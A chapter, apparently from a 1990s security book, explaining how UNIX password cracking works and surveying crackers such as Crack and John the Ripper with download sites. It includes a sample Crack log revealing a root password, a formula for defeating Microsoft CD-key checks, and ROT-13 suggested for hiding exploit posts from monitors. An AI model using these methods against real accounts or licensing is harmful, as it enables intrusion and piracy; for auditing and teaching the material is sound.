Users are rarely, if ever, educated as to what are wise choices for passwords. If a password is in the dictionary, it is extremely vulnerable to being cracked, and users are simply not coached as to "safe" choices for passwords. Of those users who are so educated, many think that simply because their password is not in /usr/dict/words, it is safe from detection. Many users also say that because they do not have private files online, they are not concerned with the security of their account, little realizing that by providing an entry point to the system they allow damage to be wrought on their entire system by a malicious cracker.1


1Daniel V. Klein, A Survey of, and Improvements to, Password Security. Software Engineering Institute, Carnegie Mellon University, Pennsylvania. (PostScript creation date reported: February 22, 1991.)

The problem is a persistent one, despite the fact that password security education demands minimal resources. It is puzzling how such a critical security issue (which can easily be addressed) is often overlooked. The issue goes to the very core of security:

...exploiting ill-chosen and poorly-protected passwords is one of the most common attacks on system security used by crackers. Almost every multi-user system uses passwords to protect against unauthorized logons, but comparatively few installations use them properly. The problem is universal in nature, not system-specific; and the solutions are simple, inexpensive, and applicable to any computer, regardless of operating system or hardware. They can be understood by anyone, and it doesn't take an administrator or a systems programmer to implement them.2


2K. Coady. Understanding Password Security For Users on & offline. New England Telecommuting Newsletter, 1991.

In any event, I want to define even further the range of this chapter. For our purposes, people who provide registration passwords or CD keys are not password crackers, nor are they particularly relevant here. Individuals who copy common registration numbers and provide them over the Internet are pirates. I discuss these individuals (and yes, I point to some sites) at the end of this chapter. Nevertheless, these people (and the files they distribute, which often contain thousands of registration numbers) do not qualify as password crackers.


NOTE: These registration numbers and programs that circumvent password protection are often called cracks. A Usenet newsgroup has actually been devoted to providing such passwords and registration numbers. Not surprisingly, within this newsgroup, many registration numbers are routinely trafficked, and the software to which they apply is also often posted there. That newsgroup is appropriately called alt.cracks.

The only exception to this rule is a program designed to subvert early implementations of the Microsoft CD key validation scheme (although the author of the source code did not intend that the program be used as a piracy tool). Some explanation is in order.

As part of its anti-piracy effort, Microsoft developed a method of consumer authentication that makes use of the CD key. When installing a Microsoft product for the first time, users are confronted by a dialog box that requests the CD key. This is a challenge to you; if you have a valid key, the software continues to install and all is well. If, however, you provide an invalid key, the installation routine exits on error, explaining that the CD key is invalid.

Several individuals examined the key validation scheme and concluded that it was poorly designed. One programmer, Donald Moore, determined that through the following procedure, a fictional key could be tested for authenticity. His formula is sound and basically involves these steps:

1. Take all numbers that are trivial and irrelevant to the key and discard them.ò

2. Add the remaining numbers together.

3. Divide the result by 7.

The number that you derive from this process is examined in decimal mode. If the number has no fractional part (there are no numeric values to the right of the decimal point), the key is valid. If the number contains a fractional part (there are numbers to the right of the decimal), the key is invalid. Moore then designed a small program that would automate this process.


Cross Reference: Moore's complete explanation and analysis of the CD key validation routine is located at http://www.apexsc.com/vb/lib/lib3.html.

The programmer also posted source code to the Internet, written in garden-variety C. I have compiled this code on several platforms and it works equally well on all. (The platforms I have compiled it on include DOS, NT, Linux, and AIX.) The utility is quite valuable, I have found, for I often lose my CD keys.


Cross Reference: The source code is located at http://www.futureone.com/~damaged/PC/Microsoft_CD_Key/mscdsrc.html.

This type of utility, I feel, qualifies in this chapter as a form of password cracker. I suspect that some of you will use this utility to subvert the CD key validation. However, in order to do so, you must first know a bit of C (and have a compiler available). My feeling is, if you have these tools, your level of expertise is high indeed, and you are probably beyond stealing software from Microsoft. (I hope.)


NOTE: Microsoft's method of protecting upgrade packages is also easily bypassed. Upgrades install as long as you have the first disk of a previous version of the specified software. Therefore, a user who obtains the first disk of Microsoft Visual Basic Professional 3.0, for example, can install the 4.0 upgrade. For this reason, some pirate groups distribute images of that first disk, which are then written to floppies. (In rare instances when the exact image must appear on the floppy, some people use rawrite.exe or dd.exe, two popular utilities that write an image directly to a floppy. This technique differs from copying it to a floppy.) In addition, it is curious to note that certain upgrade versions of VB will successfully install even without the floppy providing that Microsoft Office has been installed first.

I should make it clear that I do not condone piracy (even though I feel that many commercial software products are criminally overpriced). I use Linux and GNU. In that respect, I owe much to Linus Torvalds and Richard Stallman. I have no fear of violating the law because most of the software I use is free to be redistributed to anyone. (Also, I have found Linux to be more stable than many other operating systems that cost hundreds of dollars more.)

Linux is an entirely copy-free operating system, and the GNU suite of programs is under the general public license. That is, you are free to redistribute these products to anyone at any time. Doing so does not violate any agreement with the software authors. Many of these utilities are free versions of popular commercial packages, including C and C++ compilers, Web-development tools, or just about anything you can dream of. These programs are free to anyone who can download them. They are, quite frankly, a godsend to anyone studying development.

In any event, the password crackers I will be examining here are exactly that: they crack, destroy, or otherwise subvert passwords. I provide information about registration cracks at the end of the chapter. That established, let's move forward.

How Do Password Crackers Work?

To understand how password crackers work, you need only understand how password generators work. Most password generators use some form of cryptography. Cryptography is the practice of writing in some form of code.

Cryptography

This definition is wide, and I want to narrow it. The etymological root of the word cryptography can help in this regard. Crypto stems from the Greek word kryptos. Kryptos was used to describe anything that was hidden, obscured, veiled, secret, or mysterious. Graph is derived from graphia, which means writing. Thus, cryptography is the art of secret writing. An excellent and concise description of cryptography is given by Yaman Akdeniz in his paper Cryptography & Encryption:

Cryptography defined as "the science and study of secret writing," concerns the ways in which communications and data can be encoded to prevent disclosure of their contents through eavesdropping or message interception, using codes, ciphers, and other methods, so that only certain people can see the real message.3


3Yaman Akdeniz, Cryptography & Encryption August 1996, Cyber-Rights & Cyber-Liberties (UK) at http://www.leeds.ac.uk/law/pgs/yaman/cryptog.htm. (Criminal Justice Studies of the Law Faculty of University of Leeds, Leeds LS2 9JT.)

Most passwords are subjected to some form of cryptography. That is, passwords are encrypted. To illustrate this process, let me reduce it to its most fundamental. Imagine that you created your own code, where each letter of the alphabet corresponded to a number (see Figure 10.1).


A primitive example of a code.

In Figure 10.1, there is a table, or legend, to the left. Below each letter is a corresponding number. Thus, A = 7, B = 2, and so forth. This is a code of sorts, similar to the kind seen in secret-decoder kits found by children in their cereal boxes. You probably remember them: They came with decoder rings and sometimes even included a tiny code book for breaking the code manually.

Unfortunately, such a code can be easily broken. For example, if each letter has a fixed numeric counterpart (that is, that counterpart never changes), it means that you will only be using 26 different numbers (presumably 1 through 26, although you could choose numbers arbitrarily). Assume that the message you are seeking to hide contains letters but no numbers. Lexical analysis would reveal your code within a few seconds. There are software programs that perform such analysis at high speed, searching for patterns common to your language.

ROT-13

Another method (slightly more complex) is where each letter becomes another letter, based on a standard, incremental (or decremental) operation. To demonstrate this technique, I will defer to ROT-13 encoding. ROT-13 is a method whereby each letter is replaced by a substitute letter. The substitute letter is derived by moving 13 letters ahead (see Figure 10.2).


The ROT-13 principle of letter substitution.

This, too, is an ineffective method of encoding or encrypting a message (although it reportedly worked in Roman times for Caesar, who used a shift-by-three formula). There are programs that quickly identify this pattern. However, this does not mean that techniques like ROT-13 are useless. I want to illustrate why and, in the process, I can demonstrate the first important point about passwords and encryption generally:

Any form of encryption may be useful, given particular circumstances. These circumstances may depend upon time, the sensitivity of the information, and from whom you want to hide data.

In other words, techniques like the ROT-13 implementation may be quite useful under certain circumstances. Here is an example: Suppose a user wants to post a cracking technique to a Usenet group. He or she has found a hole and wants to publicize it while it is still exploitable. Fine. To prevent bona-fide security specialists from discovering that hole as quickly as crackers, ROT-13 can be used.

Remember how I pointed out that groups like NCSA routinely download Usenet traffic on a wholesale basis? Many groups also use popular search engines to ferret out cracker techniques. These search engines primarily employ regex (regular expression) searches (that is, they search by word or phrase). For example, the searching party (perhaps NCSA, perhaps any interested party) may enter a combination of words such as


When this combination of words is entered correctly, a wealth of information emerges. Correctly might mean many things; each engine works slightly differently. For example, some render incisive results if the words are enclosed in quotation marks. This sometimes forces a search that is case sensitive. Equally, many engines provide for the use of different Boolean expressions. Some even provide fuzzy-logic searches or the capability to mark whether a word appears adjacent, before, or after another word or expression.

When the cracker applies the ROT-13 algorithm to a message, such search engines will miss the post. For example, the message

Guvf zrffntr jnf rapbqrq va EBG-13 pbqvat. Obl, qvq vg ybbx fperjl hagvy jr haeniryrq vg!

is clearly beyond the reach of the average search engine. What it really looks like is this:

This message was encoded in ROT-13 coding. Boy, did it look screwy until we unraveled it!

Most modern mail and newsreaders support ROT-13 encoding and decoding (Free Agent by Forte is one; Netscape Navigator's Mail package is another). Again, this is a very simple form of encoding something, but it demonstrates the concept. Now, let's get a bit more specific.

DES and Crypt

Many different operating systems are on the Internet. The majority of servers, however, run some form of UNIX. On the UNIX platform, all user login IDs and passwords are stored in a central location. That location, for many years, was in the directory /etc within a file passwd (/etc/passwd). The format of this file contains various fields. Of those, we are concerned with two: the login ID and the password.

The login ID is stored plain text, or in perfectly readable English. (This is used as a key for encryption.) The password is stored in an encrypted form. The encryption process is performed using Crypt(3), a program based on the data encryption standard (DES). IBM developed the earliest version of DES; today, it is used on all UNIX platforms for password encryption. DES is endorsed jointly by the National Bureau of Standards and the National Security Agency. In fact, since 1977, DES has been the generally accepted method for safeguarding sensitive data. Figure 10.3 contains a brief timeline of DES development.


Brief timeline of the development of DES.

DES was developed primarily for the protection of certain nonclassified information that might exist in federal offices. As set forth in Federal Information Processing Standards Publication 74, Guidelines for Implementing and Using the NBS Data Encryption Standard:

Because of the unavailability of general cryptographic technology outside the national security arena, and because security provisions, including encryption, were needed in unclassified applications involving Federal Government computer systems, NBS initiated a computer security program in 1973 which included the development of a standard for computer data encryption. Since Federal standards impact on the private sector, NBS solicited the interest and cooperation of industry and user communities in this work.

Information about the original mechanical development of DES is scarce. Reportedly, at the request of the National Security Agency, IBM caused certain documents to be classified. (They will likely remain so for some years to come.) However, the source code for Crypt(3) (the currently implementation of DES in UNIX) is widely available. This is significant, because in all the years that source has been available for Crypt, no one has yet found a way to easily reverse-encode information encrypted with it.


TIP: Want to try your luck at cracking Crypt? Get the source! It comes with the standard GNU distribution of C libraries, which can be found at ftp://gatekeeper.dec.com/glibc-1.09.1.tar.gz. (Please note that if you are not on U.S. soil or within U.S. jurisdiction, you must download the source for Crypt from a site outside the United States. The site usually given for this is ftp://ftp.uni-c.dk./glibc-1.09-crypt.tar.z.

Certain implementations of Crypt work differently. In general, however, the process is as follows:

1. Your password is taken in plain text (or, in cryptographic jargon, clear text).

2. Your password is then utilized as a key to encrypt a series of zeros (64 in all). The resulting encoded text is thereafter referred to as cipher text, the unreadable material that results after plain text has been encrypted.

Certain versions of Crypt, notably Crypt(3), take additional steps. For example, after going through this process, it encrypts the already encrypted text, again using your password as a key. This a fairly strong method of encryption; it is extremely difficult to break.

In brief, DES takes submitted data and encodes it using a one-way operation sometimes referred to as a hash. This operation is special from a mathematical point of view for one reason: While it is relatively simple to encode data this way, decoding it is computationally complex and resource intensive. It is estimated, for example, that the same password can be encoded in 4,096 different ways. The average user, without any knowledge of the system, could probably spend his or her entire life attempting to crack DES and never be successful. To get that in proper perspective, examine an estimate from the National Institute of Standards and Technology:

The cryptographic algorithm [DES] transforms a 64-bit binary value into a unique 64-bit binary value based on a 56-bit variable. If the complete 64-bit input is used (i.e., none of the input bits should be predetermined from block to block) and if the 56-bit variable is randomly chosen, no technique other than trying all possible keys using known input and output for the DES will guarantee finding the chosen key. As there are over 70,000,000,000,000,000 (seventy quadrillion) possible keys of 56 bits, the feasibility of deriving a particular key in this way is extremely unlikely in typical threat environments.4


4NIST, December 30, 1993. "Data Encryption Standard (DES)," Federal Information Processing Standards Publication 46-2. http://csrc.nist.gov/fips/fips46-2.txt.

One would think that DES is entirely infallible. It isn't. Although the information cannot be reverse-encoded, passwords encrypted via DES can be revealed through a comparative process. The process works as follows:

1. You obtain a dictionary file, which is really no more than a flat file (plain text) list of words (these are commonly referred to as wordlists).

2. These words are fed through any number of programs that encrypt each word. Such encryption conforms to the DES standard.

3. Each resulting encrypted word is compared with the target password. If a match occurs, there is better than a 90 percent chance that the password was cracked.

This in itself is amazing; nevertheless, password-cracking programs made for this purpose are even more amazing than they initially appear. For example, such cracking programs often subject each word to a list of rules. A rule could be anything, any manner in which a word might appear. Typical rules might include

	Alternate upper- and lowercase lettering.
	Spell the word forward and then backward, and then fuse the two results (for example: cannac).
	Add the number 1 to the beginning and/or end of each word.

Naturally, the more rules one applies to the words, the longer the cracking process takes. However, more rules also guarantee a higher likelihood of success. This is so for a number of reasons:

	The UNIX file system is case sensitive (WORKSTATION is 
interpreted differently than Workstation or workstation). That
alone makes a UNIX password infinitely more complex to crack than a
password generated on a DOS/Windows machine. Alternating letters and numbers in passwords is a common
practice by those aware of security issues. When cracking passwords from such a source, many rules
should be applied.

The emergence of such programs has greatly altered the security of the Internet. The reasons can be easily understood by anyone. One reason is because such tools are effective:

Crypt uses the resistance of DES to known plain text attack and make it computationally unfeasible to determine the original password that produced a given encrypted password by exhaustive search. The only publicly known technique that may reveal certain passwords is password guessing: passing large wordlists through the crypt function to see if any match the encrypted password entries in an /etc/passwd file. Our experience is that this type of attack is successful unless explicit steps are taken to thwart it. Generally we find 30 percent of the passwords on previously unsecured systems.5


5David Feldmeier and Philip R. Karn. UNIX Password Security--Ten Years Later. (Bellcore).

Another reason is that the passwords on many systems remain available. In other words, for many years, the task of the cracker was nearly over if he or she could obtain that /etc/passwd file. When in possession of the encrypted passwords, a suitably powerful machine, and a cracking program, the cracker was ready to crack (provided, of course, that he or she had good wordlists).

Wordlists are generally constructed with one word per line, in plain text, and using no carriage returns. They average at about 1MB each (although one could feasibly create a wordlist some 20MB in size). As you may have guessed, many wordlists are available on the Internet; these come in a wide variety of languages (thus, an American cracker can crack an Italian machine and vice versa).


Cross Reference: There are a few popular depositories for wordlists. These collections contain every imaginable type of wordlist. Some are simply dictionaries and others contain hyphenated words, upper and lower case, and so on. One exceptionally good source is at http://sdg.ncsa.uiuc.edu/~mag/Misc/Wordlists.html. However, perhaps the most definitive collection is available at the COAST project at Purdue. Its page is located at http://www.cs.purdue.edu/coast/.

The Password-Cracking Process

Before I get even more specific, I want to graphically illustrate the password-cracking process (see Figure 10.4).

The graphical representation in Figure 10.4 will serve you well. I want to explain a bit about each portion of the process. First, I should briefly cover the hardware issues.

Hardware Issues

As noted in Figure 10.4, a 66MHz machine or higher is typical. Indeed, it is a basic requirement. Without delving deep into an argument for this or that processor (or this or that platform), I should at least state this: In actual practice, cracking a large password file is a CPU- and memory-intensive task. It can often take days. Whether you are a hobbyist, cracker, or system administrator, you would be well advised to take note of this point. Before actually cracking a large password file, you might want to inventory your equipment and resources.

I have found that to perform a successful (and comfortable) crack of a large password file, one should have 66MHz of processing power and 32MB of RAM (or better). It can be done with less, even a 25MHz processor and 8MB of RAM. However, if you use a machine so configured, you cannot expect to use it for any other tasks. (At least, this is true of any IBM AT compatible. I have seen this done on a Sun SPARCstation 1 and the user was still able to run other processes, even in OpenWindows.)


The process of cracking, graphically illustrated.

Equally, there are techniques for overcoming this problem. One is the parlor trick of distributed cracking. Distributed cracking is where the cracker runs the cracking program in parallel, on separate processors. There are a few ways to do this. One is to break the password file into pieces and crack those pieces on separate machines. In this way, the job is distributed among a series of workstations, thus cutting resource drain and the time it takes to crack the entire file.

The problem with distributed cracking is that it makes a lot of noise. Remember the Randal Schwartz case? Mr. Schwartz probably would never have been discovered if he were not distributing the CPU load. Another system administrator noticed the heavy processor power being eaten. (He also noted that one process had been running for more than a day.) Thus, distributed cracking really isn't viable for crackers unless they are the administrator of a site or they have a network at home (which is not so unusual these days; I have a network at home that consists of Windows 95, Windows NT, Linux, Sun, and Novell boxes).

The Mechanics of Password Cracking

In any event, as Figure 10.4 shows, the wordlist is sent through the encryption process, generally one word at a time. Rules are applied to the word and, after each such application, the word is again compared to the target password (which is also encrypted). If no match occurs, the next word is sent through the process.

Some password crackers perform this task differently. Some take the entire list of words, apply a rule, and from this derive their next list. This list is then encrypted and matched against the target password. The difference is not academic. The second technique is probably much faster.

In the final stage, if a match occurs, the password is then deemed cracked. The plain-text word is then piped to a file (recorded in a plain-text file for later examination).

It is of some significance that the majority of password cracking utilities are not user friendly. In fact, when executed, some of them forward nothing more than a cryptic message, such as

File?

Most also do not have extensive documentation with them. There are a few reasons for this phenomenon:


The Password Crackers

The remainder of this chapter is devoted to individual password crackers. Some are made for cracking UNIX passwd files, and some are not. Some of the tools here are not even password crackers; instead, they are auxiliary utilities that can be used in conjunction with (or for the improvement of) existing password crackers.

Crack by Alec Muffett

Crack is probably the most celebrated tool for cracking encrypted UNIX passwords. It is now the industry standard for checking networks for characteristically weak passwords. It was written by Alec D. E. Muffet, a UNIX software engineer in Wales. In the docs provided with the distribution, Mr. Muffett concisely articulates the program's purpose:

Crack is a freely available program designed to find standard UNIX eight-character DES encrypted passwords by standard guessing techniques...It is written to be flexible, configurable and fast, and to be able to make use of several networked hosts via the Berkeley rsh program (or similar), where possible.

Crack is for use on UNIX platforms only. It comes as a tarred, g'zipped file and is available at so many sites, I will refrain from listing them here (use the search string crack-4.1.tar.gz or crack-4.1.tar.Z). After downloaded to the local disk, it is unzipped and untarred into a suitable directory (I prefer putting it into the /root/ directory tree). After you finish that process, your directory (Crack-4.1) will look similar to the one shown in Figure 10.5.


The Crack directory structure.

To get up and running, you need only set the root directory for Crack (this is the directory beneath which all the Crack resources can be found). This value is assigned to a variable (Crack_Home) in the configuration files. This is merely an environment variable that, when set, tells the Crack program where the remaining resources reside. To set this variable, edit the file Crack, which is a /bin/sh script that starts up the Crack engine. After editing this file, you can begin. This file, which consists of plain-text commands, code, and variables, can be edited in any text editor or word processor. However, it must be saved to plain text.


NOTE: You may or may not need to quickly acquire a wordlist. As it happens, many distributions of Crack are accompanied by sample wordlist (or dictionary) files. Your mileage may vary in this respect. I would suggest getting your copy of Crack from established (as opposed to underground) sites. This will make it more likely that you will get a sample wordlist (although to do any serious password cracking, you will need to acquire bigger and more suitable wordlists).

You initiate a Crack session by calling the program and providing the name of a password file and any command-line arguments, including specifications for using multiple workstations and such. If you refer to the Xterm snapshot in Figure 10.5, you will see a file there named my_password_file. This is a sample passwd file that I cracked to generate an example. To crack that file, I issued the following command:

Crack my_password_file

Crack started the process and wrote the progress of the operation to files with an out prefix. In this case, the file was called outSamsHack300. Following is an excerpt from that file; examine it closely.

pwc: Jan 30 19:26:49 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992
pwc: Jan 30 19:26:49 Loading Data, host=SamsHack pid=300
pwc: Jan 30 19:26:49 Loaded 2 password entries with 2 different (salts: 100%
pwc: Jan 30 19:26:49 Loaded 240 rules from `Scripts/dicts.rules'.
pwc: Jan 30 19:26:49 Loaded 74 rules from `Scripts/gecos.rules'.
pwc: Jan 30 19:26:49 Starting pass 1 - password information
pwc: Jan 30 19:26:49 FeedBack: 0 users done, 2 users left to crack.
pwc: Jan 30 19:26:49 Starting pass 2 - dictionary words
pwc: Jan 30 19:26:49 Applying rule `!?Al' to file `Dicts/bigdict'
pwc: Jan 30 19:26:50 Rejected 12492 words on loading, 89160 words (left to sort
pwc: Jan 30 19:26:51 Sort discarded 947 words; FINAL DICTIONARY (SIZE: 88213
pwc: Jan 30 19:27:41 Guessed ROOT PASSWORD root (/bin/bash (in my_password_file) [laura] EYFu7c842Bcus
pwc: Jan 30 19:27:41 Closing feedback file.

As you can see, Crack guessed the correct password for root. This process took just under a minute. Line 1 reveals the time at which the process was initiated (Jan 30 19:26:49); line 12 reveals that the password--Laura--was cracked at 19:27:41. This was done using a 133MHz processor and 32MB of RAM.

Because the password file I used was so small, neither time nor resources was an issue. In practice, however, if you are cracking a file with hundreds of entries, Crack will eat resources voraciously. This is especially so if you are using multiple wordlists that are in compressed form. (Crack will actually identify these as compressed files and will uncompress them.)

As mentioned earlier, Crack can distribute the work to different workstations on a UNIX network. Even more extraordinary than this, the machines can be of different architectures. Thus, you might have an IBM-compatible running Linux, a RS/6000 running AIX, and a Macintosh running A/UX.

Crack is extremely lightweight and is probably the most reliable password cracker available.


TIP: To perform a networked cracking session, you must build a network.conf file. This is used by the program to identify which hosts to network, their architecture, and other key variables. One can also specify command-line options that are invoked as Crack is unleashed on each machine. In other words, each machine may be running Crack and using different command-line options. This can be conveniently managed from one machine.


Cross Reference: Macintosh users can also enjoy the speed and efficiency of Crack by using the most recent port of it, called MacKrack v2.01b1. It is available at http://www.borg.com/~docrain/mac-hack.html.

CrackerJack by Jackal

CrackerJack is a renowned UNIX password cracker designed expressly for the DOS platform. Contrary to popular notions, CrackerJack is not a straight port of Crack (not even close). Nevertheless, CrackerJack is an extremely fast and easy-to-use cracking utility. For several years, CrackerJack has been the choice for DOS users; although many other cracker utilities have cropped up, CrackerJack remains quite popular (it's a cult thing). Later versions were reportedly compiled using GNU C and C++. CrackerJack's author reports that through this recompiling process, the program gained noticeable speed.


TIP: CrackerJack also now works on the OS/2 platform.

The are some noticeable drawbacks to CrackerJack, including


Despite these snags, CrackerJack is reliable and, for moderate tasks, requires only limited resources. It takes sparse processor power, doesn't require a windowed environment, and can run from a floppy.


Cross Reference: CrackerJack is widely available, although not as widely as one would expect. Here are a few reliable sites:


PaceCrack95 (pacemkr@bluemoon.net)

PaceCrack95 is designed to work on the Windows 95 platform in console mode, in a shell window. Its author reports that PaceCrack95 was prompted by deficiencies in other DOS-based crackers. He writes:

Well you might be wondering why I have written a program like this when there already is [sic] many out there that do the same thing. There are many reasons, I wanted to challenge myself and this was a useful way to do it. Also there was this guy (Borris) that kept bugging me to make this for him because Cracker Jack (By Jackal) doesn't run in Win95/NT because of the weird way it uses the memory. What was needed was a program that runs in Win95 and the speed of the cracking was up there with Cracker Jack.

To the author's credit, he created a program that does just that. It is fast, compact, and efficient. Unfortunately, however, PaceCrack95 is a new development not yet widely available (I believe it was distributed in July 1996).


Cross Reference: There is a shortage of reliable sites from which to retrieve PaceCrack95, but it can be found at http://tms.netrom.com/~cassidy/crack.htm.

Qcrack by the Crypt Keeper

Qcrack was originally designed for use on the Linux platform. It has recently been ported to the MS-DOS/Windows platform (reportedly sometime in July 1996). Qcrack is therefore among the newest wave of password crackers that have cropped up in the last year or so. This has increased the number of choices in the void. This utility is extremely fast, but there are some major drawbacks. One relates to storage. As the author, the Crypt Keeper, explains:

QInit [one of several binaries in the distribution] generates a hash table where each entry corresponds to a salt value and contains the first two bytes of the hash. Each password becomes about 4KB worth of data, so this file gets large quickly. A file with 5000 words can be expected to be 20MB of disk. This makes it important to have both a lot of disk space, and a very select dictionary. Included, a file called cpw is a list containing what I consider to be "good" words for the typical account. I have had zero hits with this file on some password files, and I have also had almost a 30 percent hit rate on others.


NOTE: Note that Qcrack is a bit slower than some other utilities of this nature, but is probably worth it. Parallelizing is possible, but not in the true sense. Basically, one can use different machines and use different dictionaries (as Qcrack's author suggests). However, this is not the same form of parallelizing that can be implemented with Muffett's Crack. (Not to split hairs, but using Qcrack in this fashion will greatly speed up the process of the crack.)

Just one more interesting tidbit: The author of Qcrack, in a stroke of vision, suggested that someone create a CD-ROM of nothing but wordlist dictionaries (granted, this would probably be of less use to those with slow CD-ROMs; repeated access across drives could slow the system a bit).


Cross Reference: Qcrack can be found in the following places:


John the Ripper by Solar Designer

John the Ripper is a relatively new UNIX password cracker that runs on the DOS/Windows 95 platform. The binary distribution suggests that the coding was finished in December 1996. Early distributions of this program were buggy. Those of you working with less than 4MB of RAM might want to avoid this utility. Its author suggests that the program can run with less than 4MB, but a lot of disk access will be going on.


Cross Reference: John the Ripper runs on Linux as well. The Linux version is currently in beta and is being distributed as an ELF binary. It can be found by searching for the string john-linux.tar.zip.

Undoubtedly, these early efforts were flawed because the author attempted to include so many functions. Although John the Ripper may not yet be perfect, it is sizing up as quite a program. It runs in DOS (or in Windows 95 via a shell window) and has extensive options. Rather than list those here, I have provided a screenshot of the opening screen that appears if you start John without any arguments (see Figure 10.6).



The John the Ripper opening screen.

In this respect, John incorporates many of the amenities and necessities of other, more established programs. I fully expect that within six months of this writing, John the Ripper will be among the most popular cracking utilities.


Cross Reference: The DOS version of John the Ripper, which is relatively large in terms of password crackers, can be found at http://tms.netrom.com/~cassidy/crack.htm.

Pcrack (PerlCrack; Current Version Is 0.3) by Offspring and Naïve

Pcrack is a Perl script for use on the UNIX platform (this does not mean that Pcrack couldn't be implemented on the NT platform; it simply means that some heavy-duty porting would be in order). This utility has its advantages because it is quite compact and, when loaded onto the interpreter, fast. Nonetheless, one must obviously have not only some form of UNIX, but also access to Perl. As I have already pointed out, such utilities are best employed by someone with root access to a UNIX box. Many system administrators have undertaken the practice of restricting Perl access these days.


Cross Reference: Pcrack is not widely available, but http://tms.netrom.com/~cassidy/crack.htm appears to be a reliable source.

Hades by Remote and Zabkar (?)

Hades is yet another cracking utility that reveals UNIX /etc/passwd passwords. Or is it? Hades is very fast, faster than Muffett's Crack and far faster than CrackerJack (at least in tests I have performed).

The distribution comes with some source code and manual pages, as well as an advisory, which I quote here:

We created the Hades Password Cracker to show that world-readable encrypted passwords in /etc/passwd are a major vulnerability of the UNIX operating system and its derivatives. This program can be used by system operators to discover weak passwords and disable them, in order to make the system more secure.

With the exception of Muffett's Crack, Hades is the most well-documented password cracker available. The authors have taken exceptional care to provide you with every possible amenity. The Hades distribution consists of a series of small utilities that, when employed together, formulate a powerful cracking suite. For each such utility, a man (manual) page exists. The individual utilities included with the distribution perform the following functions:


Cross Reference: Hades is so widely available that I will refrain from giving a list of sites here. Users who wish to try out this well-crafted utility should search for one or both of the following search terms:


Star Cracker by the Sorcerer

Star Cracker was designed to work under the DOS4GW environment. Okay...this particular utility is a bit of a curiosity. The author was extremely thorough, and although the features he or she added are of great value and interest, one wonders when the author takes out time to have fun. In any event, here are some of the more curious features:


To UNIX users, this second amenity doesn't mean much. UNIX users have always had the ability to time jobs. However, on the DOS platform, this capability has been varied and scarce (although there are utilities, such as tm, that can schedule jobs).

Moreover, this cracking utility has a menu of options: functions that make the cracking process a lot easier. You've really got to see this one to believe it. A nicely done job.


Cross Reference: Star Cracker is available at http://citus.speednet.com.au/~ramms/.

Killer Cracker by Doctor Dissector

Killer Cracker is another fairly famous cracking engine. It is distributed almost always as source code. The package compiles without event on a number of different operating systems, although I would argue that it works best under UNIX.


NOTE: Unless you obtain a binary release, you will need a C compiler.

Killer Cracker has so many command-line options, it is difficult to know which ones to mention here. Nonetheless, here are a few highlights of this highly portable and efficient cracking tool:

In all, this program is quite complete. Perhaps that is why it remains so popular. It has been ported to the Macintosh operating system, it works on a DOS system, and it was designed under UNIX. It is portable and easily compiled.


Cross Reference: Killer Cracker can be obtained at these locations:


Hellfire Cracker by the Racketeer and the Presence

Another grass-roots work, Hellfire Cracker is a utility for cracking UNIX password files using the DOS platform. It was developed using the GNU compiler. This utility is quite fast, although not by virtue of the encryption engine. Its major drawback is that user-friendly functions are practically nonexistent. Nevertheless, it makes up for this in speed and efficiency.

One amenity of Hellfire is that it is now distributed almost exclusively in binary form, which obviates the need for a C compiler.


Cross Reference: This utility can be found on many sites, but I have encountered problems finding reliable ones. This one, however is reliable: http://www.ilf.net/~toast/files/.

XIT by Roche'Crypt

XIT is yet another UNIX /etc/passwd file cracker, but it is a good one. Distinguishing characteristics include


The Claymore utility has been around for several years. However, it is not as widely available as one would expect. It also comes in different compressed formats, although the greater number are zipped.


Cross Reference: One reliable place to find XIT is http://www.ilf.net/~toast/files/xit20.zip.

Claymore by the Grenadier

The Claymore utility is slightly different from its counterparts. It runs on any Windows platform, including 95 and NT.


NOTE: Claymore does not work in DOS or even a DOS shell window.

Figure 10.7 shows Claymore's opening window.



The Claymore opening screen.

There is not a lot to this utility, but some amenities are worth mentioning. First, Claymore can be used as a brute force cracker for many systems. It can be used to crack UNIX /etc/passwd files, but it can also be used to crack other types of programs (including those requiring a login/password pair to get in).

One rather comical aspect of this brute force cracker is its overzealousness. According to the author:

Keep an eye on the computer. Claymore will keep entering passwords even after it has broken through. Also remember that many times a wrong password will make the computer beep so you may want to silence the speaker. Sometimes Claymore will throw out key strokes faster than the other program can except them. In these cases tell Claymore to repeat a certain key stroke, that has no other function in the target program, over and over again so that Claymore is slowed down and the attacked program has time to catch up.

This is what I would classify as a true, brute-force cracking utility! One interesting aspect is this: You can specify that the program send control and other nonprintable characters during the crack. The structure of the syntax to do so suggests that Claymore was written in Microsoft Visual Basic. Moreover, one almost immediately draws the conclusion that the VB function SendKeys plays a big part of this application. In any event, it works extremely well.


Cross Reference: Claymore is available at many locations on the Internet, but http://www.ilf.net/~toast/files/claym10.zip is almost guaranteed to be available.

Guess by Christian Beaumont

Guess is a compact, simple application designed to attack UNIX /etc/passwd files. It is presented with style but not much pomp. The interface is designed for DOS, but will successfully run through a DOS windowed shell. Of main interest is the source, which is included with the binary distribution. Guess was created sometime in 1991, it seems. For some reason, it has not yet gained the notoriety of its counterparts; this is strange, for it works well.


Cross Reference: Guess is available widely, so I will refrain from listing locations here. It is easy enough to find; use the search string guess.zip.

PC UNIX Password Cracker by Doctor Dissector

I have included the PC UNIX Password Cracker utility (which runs on the DOS platform) primarily for historical reasons. First, it was released sometime in 1990. As such, it includes support not only for 386 and 286 machines, but for 8086 machines. (That's right. Got an old XT lying around the house? Put it to good use and crack some passwords!) I won't dwell on this utility, but I will say this: The program is extremely well designed and has innumerable command-line options. Naturally, you will probably want something a bit more up to date (perhaps other work of the good Doctor's) but if you really do have an old XT, this is for you.


Cross Reference: PC UNIX Cracker can be found at http://www.ilf.net/~toast/files/pwcrackers/pcupc201.zip.

Merlin by Computer Incident Advisory Capability (CIAC) DOE

Merlin is not a password cracker. Rather, it is a tool for managing password crackers as well as scanners, audit tools, and other security-related utilities. In short, it is a fairly sophisticated tool for holistic management of the security process. Figure 10.8 shows Merlin's opening screen.

Merlin is for UNIX platforms only. It has reportedly been tested (with positive results) on a number of flavors, including but not limited to IRIX, Linux, SunOS, Solaris, and HP-UX.

One of the main attractions of Merlin is this: Although it has been specifically designed to support only five common security tools, it is highly extensible (it is written in Perl almost exclusively). Thus, one could conceivably incorporate any number of tools into the scheme of the program.

Merlin is a wonderful tool for integrating a handful of command-line tools into a single, easily managed package. It addresses the fact that the majority of UNIX-based security programs are based in the command-line interface (CLI). The five applications supported are



Merlin's opening screen.

